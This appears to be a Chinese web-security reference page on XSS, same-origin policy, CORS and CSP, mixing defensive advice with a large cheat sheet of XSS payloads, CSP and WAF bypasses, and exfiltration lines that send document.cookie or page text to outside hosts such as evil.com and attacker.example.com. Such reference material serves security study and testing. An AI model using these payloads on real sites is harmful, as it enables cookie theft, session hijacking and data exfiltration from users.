# 分类
# 简介
XSS 全称为 Cross Site Scripting,为了和 CSS 分开简写为 XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的 JavaScript 代码执行。XSS 通常被用于获取 Cookie、以受攻击者的身份进行操作等行为。
# 反射型 XSS
反射型 XSS 是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句: <?php echo "<p>hello, $_GET['user']</p>";?>
,那么在访问时设置 /?user=</p><script>alert("hack")</script><p>
,则可执行预设好的 JavaScript 代码。
反射型 XSS 通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到 XSS Auditor、NoScript 等防御手段的影响较大。
# 储存型 XSS
储存型 XSS 相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
# DOM XSS
DOM 型 XSS 不同之处在于 DOM 型 XSS 一般和服务器的解析响应没有直接关系,而是在 JavaScript 脚本动态执行的过程中产生的。
例如
<html> | |
<head> | |
<title>DOM Based XSS Demo</title> | |
<script> | |
function xsstest() | |
{ | |
var str = document.getElementById("input").value; | |
document.getElementById("output").innerHTML = "<img src='"+str+"'></img>"; | |
} | |
</script> | |
</head> | |
<body> | |
<div id="output"></div> | |
<input type="text" id="input" size=50 value="" /> | |
<input type="button" value="submit" onclick="xsstest()" /> | |
</body> | |
</html> |
输入 x' onerror='javascript:alert(/xss/)
即可触发。
# Blind XSS
Blind XSS 是储存型 XSS 的一种,它保存在某些存储中,当一个 “受害者” 访问这个页面时执行,并且在文档对象模型 (DOM) 中呈现 payload。 它被称为 Blind 的原因是因为它通常发生在通常不暴露给用户的功能上。
# 危害
存在 XSS 漏洞时,可能会导致以下几种情况:
- 用户的 Cookie 被获取,其中可能存在 Session ID 等敏感信息。若服务器端没有做相应防护,攻击者可用对应 Cookie 登陆服务器。
- 攻击者能够在一定限度内记录用户的键盘输入。
- 攻击者通过 CSRF 等方式以用户身份执行危险操作。
- XSS 蠕虫。
- 获取用户浏览器信息。
- 利用 XSS 漏洞扫描用户内网。
# 同源策略
# 简介
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由 URL 决定,URL 由协议、域名、端口和路径组成,如果两个 URL 的协议、域名和端口相同,则表示他们同源。
# file 域的同源策略
在之前的浏览器中,任意两个 file 域的 URI 被认为是同源的。本地磁盘上的任何 HTML 文件都可以读取本地磁盘上的任何其他文件。
从 Gecko 1.9 开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。
# cookie 的同源策略
cookie 使用不同的源定义方式,一个页面可以为本域和任何父域设置 cookie,只要是父域不是公共后缀 (public suffix) 即可。
不管使用哪个协议 (HTTP/HTTPS) 或端口号,浏览器都允许给定的域以及其任何子域名访问 cookie。设置 cookie 时,可以使用 domain
/ path
/ secure
和 http-only
标记来限定其访问性。
所以 https://localhost:8080/
和 http://localhost:8081/
的 Cookie 是共享的。
# Flash/SilverLight 跨域
浏览器的各种插件也存在跨域需求。通常是通过在服务器配置 crossdomain.xml,设置本服务允许哪些域名的跨域访问。
客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。
# 源的更改
同源策略认为域和子域属于不同的域,例如 child1.a.com
与 a.com
/ child1.a.com
与 child2.a.com
/ xxx.child1.a.com
与 child1.a.com
两两不同源。
对于这种情况,可以在两个方面各自设置 document.domain='a.com'
来改变其源来实现以上任意两个页面之间的通信。
另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null
。
# 跨源访问
同源策略控制了不同源之间的交互,这些交互通常分为三类:
- 通常允许跨域写操作 (Cross-origin writes)
- 链接 (links)
- 重定向
- 表单提交
- 通常允许跨域资源嵌入 (Cross-origin embedding)
- 通常不允许跨域读操作 (Cross-origin reads)
可能嵌入跨源的资源的一些示例有:
<script src="..."></script>
标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。<link rel="stylesheet" href="...">
标签嵌入 CSS。由于 CSS 的松散的语法规则,CSS 的跨域需要一个设置正确的 Content-Type 消息头。<img>
/<video>
/<audio>
嵌入多媒体资源。<object>
<embed>
和<applet>
的插件。@font-face
引入的字体。一些浏览器允许跨域字体 (cross-origin fonts),一些需要同源字体 (same-origin fonts)。<frame>
和<iframe>
载入的任何资源。站点可以使用 X-Frame-Options 消息头来阻止这种形式的跨域交互。
# JSONP 跨域
JSONP 就是利用 <script>
标签的跨域能力实现跨域数据的访问,请求动态生成的 JavaScript 脚本同时带一个 callback 函数名作为参数。
服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 callback 函数。
JSONP 也存在一些安全问题,例如当对传入 / 传回参数没有做校验就直接执行返回的时候,会造成 XSS 问题。没有做 Referer 或 Token 校验就给出数据的时候,可能会造成数据泄露。
另外 JSONP 在没有设置 callback 函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为 SOME 攻击。
# 跨源脚本 API 访问
Javascript 的 APIs 中,如 iframe.contentWindow
, window.parent
, window.open
和 window.opener
允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 window
和 location
对象的访问添加限制。
window
允许跨源访问的方法有
- window.blur
- window.close
- window.focus
- window.postMessage
window
允许跨源访问的属性有
- window.closed
- window.frames
- window.length
- window.location
- window.opener
- window.parent
- window.self
- window.top
- window.window
其中 window.location
允许读 / 写,其他的属性只允许读
# 跨源数据存储访问
存储在浏览器中的数据,如 localStorage
和 IndexedDB
,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的 Javascript 脚本不能对属于其它源的数据进行读写操作。
# CORS
CORS 是一个 W3C 标准,全称是跨域资源共享 (Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。
# 常见请求头
- Origin
- 预检请求或实际请求的源站 URI, 浏览器请求默认会发送该字段
Origin: <origin>
- Access-Control-Request-Method
- 声明请求使用的方法
Access-Control-Request-Method: <method>
- Access-Control-Request-Headers
- 声明请求使用的 header 字段
Access-Control-Request-Headers: <field-name>[, <field-name>]*
# 常见返回头
- Access-Control-Allow-Origin
- 声明允许访问的源外域 URI
- 对于携带身份凭证的请求不可使用通配符
*``Access-Control-Allow-Origin: <origin> | *
- Access-Control-Expose-Headers
- 声明允许暴露的头
- e.g.
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
- Access-Control-Max-Age
- 声明 Cache 时间
Access-Control-Max-Age: <delta-seconds>
- Access-Control-Allow-Credentials
- 声明是否允许在请求中带入
Access-Control-Allow-Credentials: true
- Access-Control-Allow-Methods
- 声明允许的访问方式
Access-Control-Allow-Methods: <method>[, <method>]*
- Access-Control-Allow-Headers
- 声明允许的头
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
# 防御建议
- 如非必要不开启 CORS
- 定义详细的白名单,不使用通配符,仅配置所需要的头
- 配置
Vary: Origin
头部 - 如非必要不使用
Access-Control-Allow-Credentials
- 限制缓存的时间
# 阻止跨源访问
阻止跨域写操作,可以检测请求中的 CSRF token
,这个标记被称为 Cross-Site Request Forgery (CSRF) 标记。
阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 Content-Type
消息头。例如如果在 HTML 文档中指定 <script>
标记,则浏览器会尝试将 HTML 解析为 JavaScript。
# CSP
# CSP 是什么?
Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。
# 配置
CSP 策略可以通过 HTTP 头信息或者 meta 元素定义。
CSP 有三类:
- Content-Security-Policy (Google Chrome)
- X-Content-Security-Policy (Firefox)
- X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
HTTP header : | |
"Content-Security-Policy:" 策略 | |
"Content-Security-Policy-Report-Only:" 策略 |
HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而 Content-Security-Policy-Report-Only 则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
HTML Meta :
<meta http-equiv="content-security-policy" content="策略"> | |
<meta http-equiv="content-security-policy-report-only" content="策略"> |
# 指令说明
指令 | 说明 |
---|---|
default-src | 定义资源默认加载策略 |
connect-src | 定义 Ajax、WebSocket 等加载策略 |
font-src | 定义 Font 加载策略 |
frame-src | 定义 Frame 加载策略 |
img-src | 定义图片加载策略 |
media-src | 定义 <audio>、<video> 等引用资源加载策略 |
object-src | 定义 <applet>、<embed>、<object> 等引用资源加载策略 |
script-src | 定义 JS 加载策略 |
style-src | 定义 CSS 加载策略 |
base-uri | 定义 <base> 根 URL 策略,不使用 default-src 作为默认值 |
sandbox | 值为 allow-forms,对资源启用 sandbox |
report-uri | 值为 /report-uri,提交日志 |
# 关键字
-
- 允许从任意 url 加载,除了
data:
blob:
filesystem:
schemes
- e.g.
img-src -
- 允许从任意 url 加载,除了
none
- 禁止从任何 url 加载资源
- e.g.
object-src 'none'
self
- 只可以加载同源资源
- e.g.
img-src 'self'
data:
- 可以通过 data 协议加载资源
- e.g.
img-src 'self' data:
domain.example.com
- e.g.
img-src domain.example.com
- 只可以从特定的域加载资源
- e.g.
\*.example.com
- e.g.
img-src \*.example.com
- 可以从任意 example.com 的子域处加载资源
- e.g.
https://cdn.com
- e.g.
img-src https://cdn.com
- 只能从给定的域用 https 加载资源
- e.g.
https:
- e.g.
img-src https:
- 只能从任意域用 https 加载资源
- e.g.
unsafe-inline
- 允许内部资源执行代码例如 style attribute,onclick 或者是 sicript 标签
- e.g.
script-src 'unsafe-inline'
unsafe-eval
- 允许一些不安全的代码执行方式,例如 js 的 eval ()
- e.g.
script-src 'unsafe-eval'
nonce-<base64-value>'
- 使用随机的 nonce,允许加载标签上 nonce 属性匹配的标签
- e.g.
script-src 'nonce-bm9uY2U='
<hash-algo>-<base64-value>'
- 允许 hash 值匹配的代码块被执行
- e.g.
script-src 'sha256-<base64-value>'
# 配置范例
允许执行内联 JS 代码,但不允许加载外部资源
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; |
# Bypass
# 预加载
浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为 DNS-prefetch、subresource、prefetch、preconnect、prerender。
HTML5 页面预加载是用 link 标签的 rel 属性来指定的。如果 csp 头有 unsafe-inline,则用预加载的方式可以向外界发出请求,例如
<!-- 预加载某个页面 --> | |
<link rel='prefetch' href='http://xxxx'><!-- firefox --> | |
<link rel='prerender' href='http://xxxx'><!-- chrome --> | |
<!-- 预加载某个图片 --> | |
<link rel='prefetch' href='http://xxxx/x.jpg'> | |
<!-- DNS 预解析 --> | |
<link rel="dns-prefetch" href="http://xxxx"> | |
<!-- 特定文件类型预加载 --> | |
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome --> |
另外,不是所有的页面都能够被预加载,当资源类型如下时,将阻止预加载操作:
- URL 中包含下载资源
- 页面中包含音频、视频
- POST、PUT 和 DELET 操作的 ajax 请求
- HTTP 认证
- HTTPS 页面
- 含恶意软件的页面
- 弹窗页面
- 占用资源很多的页面
- 打开了 chrome developer tools 开发工具
# MIME Sniff
举例来说,csp 禁止跨站读取脚本,但是可以跨站读 img,那么传一个含有脚本的 img,再 <script href='http://xxx.com/xx.jpg'>
,这里 csp 认为是一个 img,绕过了检查,如果网站没有回正确的 mime type,浏览器会进行猜测,就可能加载该 img 作为脚本
# 302 跳转
对于 302 跳转绕过 CSP 而言,实际上有以下几点限制:
- 跳板必须在允许的域内。
- 要加载的文件的 host 部分必须跟允许的域的 host 部分一致
# iframe
当可以执行代码时,可以创建一个源为 css
js
等静态文件的 frame,在配置不当时,该 frame 并不存在 csp,则在该 frame 下再次创建 frame,达到 bypass 的目的。同理,使用 ../../../
/%2e%2e%2f
等可能触发服务器报错的链接也可以到达相应的目的。
# base-uri
当 script-src 为 nonce 或无限制,且 base-uri 无限制时,可通过 base
标签修改根 URL 来 bypass,如下加载了 http://evil.com/main.js
<base href="http://evil.com/"> | |
<script nonce="correct value" src="/main.js"></script> |
# 其他
-
location 绕过
-
可上传 SVG 时,通过恶意 SVG 绕过同源站点
-
存在 CRLF 漏洞且可控点在 CSP 上方时,可以注入 HTTP 响应中影响 CSP 解析
-
CND Bypass,如果网站信任了某个 CDN, 那么可利用相应 CDN 的静态资源 bypass
-
Angular versions <1.5.9>=1.5.0,存在漏洞 Git Pull Request
-
jQuery sourcemap
document.write(`<script>
//@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
-
a 标签的 ping 属性
-
For FireFox
<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">
-
<link rel="import" />
-
<meta http-equiv="refresh" content="0; url=http://...." />
-
-
仅限制
script-src
时:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
-
# XSS 数据源
# URL
location
location.href
location.pathname
location.search
location.hash
document.URL
document.documentURI
document.baseURI
# Navigation
window.name
document.referrer
# Communication
Ajax
Fetch
WebSocket
PostMessage
# Storage
Cookie
LocalStorage
SessionStorage
# Sink
# 执行 JavaScript
eval(payload)
setTimeout(payload, 100)
setInterval(payload, 100)
Function(payload)()
<script>payload</script>
<img src=x onerror=payload>
# 加载 URL
location=javascript:alert(/xss/)
location.href=javascript:alert(/xss/)
location.assign(javascript:alert(/xss/))
location.replace(javascript:alert(/xss/))
# 执行 HTML
xx.innerHTML=payload
xx.outerHTML=payload
document.write(payload)
document.writeln(payload)
# XSS 保护
# HTML 过滤
使用一些白名单或者黑名单来过滤用户输入的 HTML,以实现过滤的效果。例如 DOMPurify 等工具都是用该方式实现了 XSS 的保护。
# X-Frame
X-Frame-Options 响应头有三个可选的值:
- DENY
- 页面不能被嵌入到任何 iframe 或 frame 中
- SAMEORIGIN
- 页面只能被本站页面嵌入到 iframe 或者 frame 中
- ALLOW-FROM
- 页面允许 frame 或 frame 加载
# XSS 保护头
基于 Webkit 内核的浏览器 (比如 Chrome) 在特定版本范围内有一个名为 XSS auditor 的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在 HTML 文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
而浏览器是否要拦截这段恶意代码取决于浏览器的 XSS 防护设置。
要设置浏览器的防护机制,则可使用 X-XSS-Protection 字段 该字段有三个可选的值
0
: 表示关闭浏览器的 XSS 防护机制1
: 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为 X-XSS-Protection 配置为 1,这是浏览器的默认设置1; mode=block
: 如果检测到恶意代码,在不渲染恶意代码
FireFox 没有相关的保护机制,如果需要保护,可使用 NoScript 等相关插件。
# WAF Bypass
-
利用 <> 标记
-
利用 html 属性
- href
- lowsrc
- bgsound
- background
- value
- action
- dynsrc
-
关键字
- 利用回车拆分
- 字符串拼接
window["al" + "ert"]
-
利用编码绕过
- base64
- jsfuck
- String.fromCharCode
- HTML
- URL
- hex
window["\x61\x6c\x65\x72\x74"]
- unicode
- utf7
+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
- utf16
-
大小写混淆
-
对标签属性值转码
-
产生事件
-
css 跨站解析
-
长度限制 bypass
eval(name)
eval(hash)
import
$.getScript
$.get
-
.
- 使用
。
绕过 IP / 域名 document['cookie']
绕过属性取值
- 使用
-
过滤引号用
`
绕过
# 技巧
# httponly
- 在 cookie 为 httponly 的情况下,可以通过 xss 直接在源站完成操作,不直接获取 cookie。
- 在有登录操作的情况下,部分站点直接发送登录请求可能会带有 cookie
- 部分特定版本的浏览器可能会在 httponly 支持 / 处理上存在问题
- 低版本浏览器支持 TRACE / TRACK,可获取敏感的 header 字段
- phpinfo 等页面可能会回显信息,这些信息中包含 http 头
- 通过 xss 劫持页面钓鱼
- 通过 xss 伪造 oauth 等授权请求,远程登录
# CSS 注入
# 基本介绍
CSS 注入最早开始于利用 CSS 中的 expression()
url()
regex()
等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
# CSS selectors
<style> | |
#form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); } | |
#form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); } | |
#form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); } | |
[...] | |
</style> | |
<form action="http://example.com" id="form2"> | |
<input type="text" id="secret" name="secret" value="abc"> | |
</form> |
上图是利用 CSS selectors 完成攻击的一个示例
# Abusing Unicode Range
当可以插入 CSS 的时候,可以使用 font-face
配合 unicode-range
获取目标网页对应字符集。PoC 如下
<style> | |
@font-face{ | |
font-family:poc; | |
src: url(http://attacker.example.com/?A); /* fetched */ | |
unicode-range:U+0041; | |
} | |
@font-face{ | |
font-family:poc; | |
src: url(http://attacker.example.com/?B); /* fetched too */ | |
unicode-range:U+0042; | |
} | |
@font-face{ | |
font-family:poc; | |
src: url(http://attacker.example.com/?C); /* not fetched */ | |
unicode-range:U+0043; | |
} | |
#sensitive-information{ | |
font-family:poc; | |
} | |
</style> | |
<p id="sensitive-information">AB</p> |
当字符较多时,则可以结合 ::first-line
等 CSS 属性缩小范围,以获取更精确的内容
# Bypass Via Script Gadgets
# 简介
一些网站会使用白名单或者一些基于 DOM 的防御方式,对这些方式,有一种被称为 Code Reuse
的攻击方式可以绕过。该方式和二进制攻防中的 Gadget 相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets
中有该方法的具体描述。
portswigger 的一篇博文也表达了类似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations
。
下面有一个简单的例子,这个例子使用了 DOMPurify
来加固,但是因为引入了 jquery.mobile.js
导致可以被攻击。
# 例子
// index.php
<?php
$msg = $_GET['message'];
$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Preview</title>
<script type="text/javascript" src="purify.js"></script>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body>
<script type="text/javascript">
var d= atob('<?php echo $msg; ?>');
var cleanvar = DOMPurify.sanitize(d);
document.write(cleanvar);
</script>
</body>
</html>
// payload
<div data-role=popup id='-->
<script>alert(1)</script>'>
</div>
# RPO(Relative Path Overwrite)
RPO (Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。
# Payload
# 常用
<script>alert(/xss/)</script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>
# 大小写绕过
<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert("M")">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>
# 各种 alert
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert
1</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>
# 伪协议
<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>
# Chrome XSS auditor bypass
?param=https://¶m=@z.exeye.io/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>
# 长度限制
<script>s+="l"</script>
\...
<script>eval(s)</script>
# jquery sourceMappingURL
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
# 图片名
"><img src=x onerror=alert(document.cookie)>.gif
# 过期的 payload
- src=javascript:alert 基本不可以用
- css expression 特性只在旧版本 ie 可用
# css
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
# markdown
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<javascript:alert('XSS')>

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

# iframe
<iframe onload='
var sc = document.createElement("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "http://1.2.3.4/js/hook.js";
document.body.appendChild(sc);
'
/>
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/onload=alert(1)>></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe
# form
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>
# meta
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
# 持久化
# 基于存储
有时候网站会将信息存储在 Cookie 或 localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对 Cookie 或 localStorage 中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了 JSON 格式的数据时,部分站点存在 eval(data)
之类的调用。因此当有一个 XSS 时,可以把 payload 写入其中,在对应条件下触发。
在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode
来绕过。
# Service Worker
Service Worker 可以拦截 http 请求,起到类似本地代理的作用,故可以使用 Service Worker Hook 一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在 Chrome 中,可通过 chrome://inspect/#service-workers
来查看 Service Worker 的状态,并进行停止。
# AppCache
在可控的网络环境下(公共 wifi),可以使用 AppCache 机制,来强制存储一些 Payload,未清除的情况下,用户访问站点时对应的 payload 会一直存在。
# 参考链接
# wiki
- AwesomeXSS
- w3c
- dom xss wiki
- content-security-policy.com
- markdwon xss
- xss cheat sheet
- html5 security cheatsheet
- http security headers
- XSSChallengeWiki
# Challenges
- XSS Challenge By Google
- prompt to win
# CSS
- rpo
- rpo 攻击初探
- Reading Data via CSS
- css based attack abusing unicode range
- css injection
- css timing attack
# 同源策略
- Same origin policy
- cors security guide
- logically bypassing browser security boundaries
# bypass
- 666 lines of xss payload
- xss auditor bypass
- xss auditor bypass writeup
- bypassing csp using polyglot jpegs
- bypass xss filters using javascript global variables
# 持久化
- 变种 XSS 持久控制 by tig3r
- Using Appcache and ServiceWorker for Evil
# Tricks
- Service Worker 安全探索
- 前端黑魔法